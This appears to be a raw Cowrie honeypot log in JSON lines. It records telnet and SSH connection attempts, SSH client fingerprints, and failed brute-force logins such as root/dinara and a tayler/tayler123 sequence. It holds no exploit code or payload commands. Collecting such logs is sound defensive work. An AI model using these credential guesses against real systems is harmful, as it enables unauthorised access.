{"eventid":"cowrie.session.closed","duration":31.256152629852295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:52.233357Z","src_ip":"50.6.8.71","session":"30396f81714b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52322,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b2fd2ff895","protocol":"telnet","message":"New connection: 50.6.8.71:52322 (10.17.0.5:23) [session: e7b2fd2ff895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:52.721487Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52338,"dst_ip":"10.17.0.5","dst_port":23,"session":"112693ae97e8","protocol":"telnet","message":"New connection: 50.6.8.71:52338 (10.17.0.5:23) [session: 112693ae97e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:53.294796Z"}
{"eventid":"cowrie.session.closed","duration":30.533867359161377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:58.355774Z","src_ip":"50.6.8.71","session":"09f85a5991ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44472,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c1a40561da","protocol":"telnet","message":"New connection: 50.6.8.71:44472 (10.17.0.5:23) [session: 10c1a40561da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:58.603158Z"}
{"eventid":"cowrie.session.closed","duration":32.324729919433594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:02.688130Z","src_ip":"50.6.8.71","session":"c5ba278fe6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":55922,"dst_ip":"159.203.135.109","dst_port":22,"session":"f79823683e0a","protocol":"ssh","message":"New connection: 109.172.54.111:55922 (159.203.135.109:22) [session: f79823683e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:05.067196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:05.086620Z","src_ip":"109.172.54.111","session":"f79823683e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:05.165255Z","src_ip":"109.172.54.111","session":"f79823683e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dinara","message":"login attempt [root/dinara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:05.551581Z","src_ip":"109.172.54.111","session":"f79823683e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39126,"dst_ip":"159.203.135.109","dst_port":22,"session":"caead673369a","protocol":"ssh","message":"New connection: 80.94.92.184:39126 (159.203.135.109:22) [session: caead673369a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:06.583618Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:06.651069Z","src_ip":"109.172.54.111","session":"f79823683e0a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:06.726796Z","src_ip":"80.94.92.184","session":"caead673369a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:07.163117Z","src_ip":"80.94.92.184","session":"caead673369a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:07.849963Z","src_ip":"80.94.92.184","session":"caead673369a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:09.291863Z","src_ip":"80.94.92.184","session":"caead673369a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59480,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f4713177dc","protocol":"telnet","message":"New connection: 50.6.8.71:59480 (10.17.0.5:23) [session: 03f4713177dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:13.599170Z"}
{"eventid":"cowrie.session.closed","duration":34.94494915008545,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:27.666316Z","src_ip":"50.6.8.71","session":"e7b2fd2ff895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47638,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf9cfe4c6b1","protocol":"telnet","message":"New connection: 50.6.8.71:47638 (10.17.0.5:23) [session: 7cf9cfe4c6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:28.826917Z"}
{"eventid":"cowrie.session.closed","duration":36.791990756988525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:30.086715Z","src_ip":"50.6.8.71","session":"112693ae97e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.95567178726196,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:38.558704Z","src_ip":"50.6.8.71","session":"10c1a40561da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48716,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe04f27bd66","protocol":"telnet","message":"New connection: 50.6.8.71:48716 (10.17.0.5:23) [session: dbe04f27bd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:39.704684Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48718,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f66828241b8","protocol":"telnet","message":"New connection: 50.6.8.71:48718 (10.17.0.5:23) [session: 1f66828241b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:39.789310Z"}
{"eventid":"cowrie.session.closed","duration":37.01504826545715,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:00:50.614103Z","src_ip":"50.6.8.71","session":"03f4713177dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45901608467102,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:00.285808Z","src_ip":"50.6.8.71","session":"7cf9cfe4c6b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79693078994751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:11.501484Z","src_ip":"50.6.8.71","session":"dbe04f27bd66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":33648,"dst_ip":"10.17.0.5","dst_port":23,"session":"32971995516c","protocol":"telnet","message":"New connection: 23.94.28.189:33648 (10.17.0.5:23) [session: 32971995516c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:23.097699Z"}
{"eventid":"cowrie.session.closed","duration":46.13529562950134,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:25.924498Z","src_ip":"50.6.8.71","session":"1f66828241b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41406,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ffac318e420","protocol":"telnet","message":"New connection: 50.6.8.71:41406 (10.17.0.5:23) [session: 0ffac318e420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:27.964779Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":34806,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5cfea4c69c","protocol":"telnet","message":"New connection: 23.94.28.189:34806 (10.17.0.5:23) [session: dc5cfea4c69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:29.074409Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":46462,"dst_ip":"10.17.0.5","dst_port":22,"session":"4846b8a6518c","protocol":"ssh","message":"New connection: 213.209.159.56:46462 (10.17.0.5:22) [session: 4846b8a6518c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:35.034162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:35.041337Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:35.123466Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler","message":"login attempt [tayler/tayler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:35.523627Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler1","message":"login attempt [tayler/tayler1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:36.609468Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler123","message":"login attempt [tayler/tayler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:37.695696Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler1234","message":"login attempt [tayler/tayler1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:38.781245Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34482,"dst_ip":"10.17.0.5","dst_port":23,"session":"80138f2134e4","protocol":"telnet","message":"New connection: 50.6.8.71:34482 (10.17.0.5:23) [session: 80138f2134e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:39.853817Z"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler12345","message":"login attempt [tayler/tayler12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:39.866238Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:40.952310Z","src_ip":"213.209.159.56","session":"4846b8a6518c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77b2e551038","protocol":"telnet","message":"New connection: 50.6.8.71:54688 (10.17.0.5:23) [session: e77b2e551038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:01:49.140496Z"}
{"eventid":"cowrie.session.closed","duration":39.13547682762146,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:02.233089Z","src_ip":"23.94.28.189","session":"32971995516c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46040,"dst_ip":"10.17.0.5","dst_port":23,"session":"d80fb0087ca9","protocol":"telnet","message":"New connection: 50.6.8.71:46040 (10.17.0.5:23) [session: d80fb0087ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:02.805541Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.23.69.25","src_port":56258,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed0a0195d73","protocol":"telnet","message":"New connection: 185.23.69.25:56258 (10.17.0.5:23) [session: 5ed0a0195d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:06.594659Z"}
{"eventid":"cowrie.session.closed","duration":39.42791676521301,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:08.502219Z","src_ip":"23.94.28.189","session":"dc5cfea4c69c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.760430574417114,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:11.725080Z","src_ip":"50.6.8.71","session":"0ffac318e420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.40211582183838,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:15.255832Z","src_ip":"50.6.8.71","session":"80138f2134e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.4163498878479,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:27.556742Z","src_ip":"50.6.8.71","session":"e77b2e551038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.630093812942505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:34.435542Z","src_ip":"50.6.8.71","session":"d80fb0087ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c80b9e4d8e","protocol":"ssh","message":"New connection: 94.159.98.239:34666 (10.17.0.5:22) [session: 27c80b9e4d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:38.419172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:38.426075Z","src_ip":"94.159.98.239","session":"27c80b9e4d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:38.541008Z","src_ip":"94.159.98.239","session":"27c80b9e4d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfkbq","message":"login attempt [root/dbnfkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:39.089144Z","src_ip":"94.159.98.239","session":"27c80b9e4d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:40.218270Z","src_ip":"94.159.98.239","session":"27c80b9e4d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43078,"dst_ip":"10.17.0.5","dst_port":23,"session":"133612c61538","protocol":"telnet","message":"New connection: 50.6.8.71:43078 (10.17.0.5:23) [session: 133612c61538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:41.745083Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54738,"dst_ip":"10.17.0.5","dst_port":23,"session":"5162d8d62b1a","protocol":"telnet","message":"New connection: 50.6.8.71:54738 (10.17.0.5:23) [session: 5162d8d62b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:50.828629Z"}
{"eventid":"cowrie.session.closed","duration":49.033238887786865,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:55.627780Z","src_ip":"185.23.69.25","session":"5ed0a0195d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57042,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5c0e3bbb7bd","protocol":"ssh","message":"New connection: 51.250.105.222:57042 (10.17.0.5:22) [session: d5c0e3bbb7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:59.119893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:02:59.124924Z","src_ip":"51.250.105.222","session":"d5c0e3bbb7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 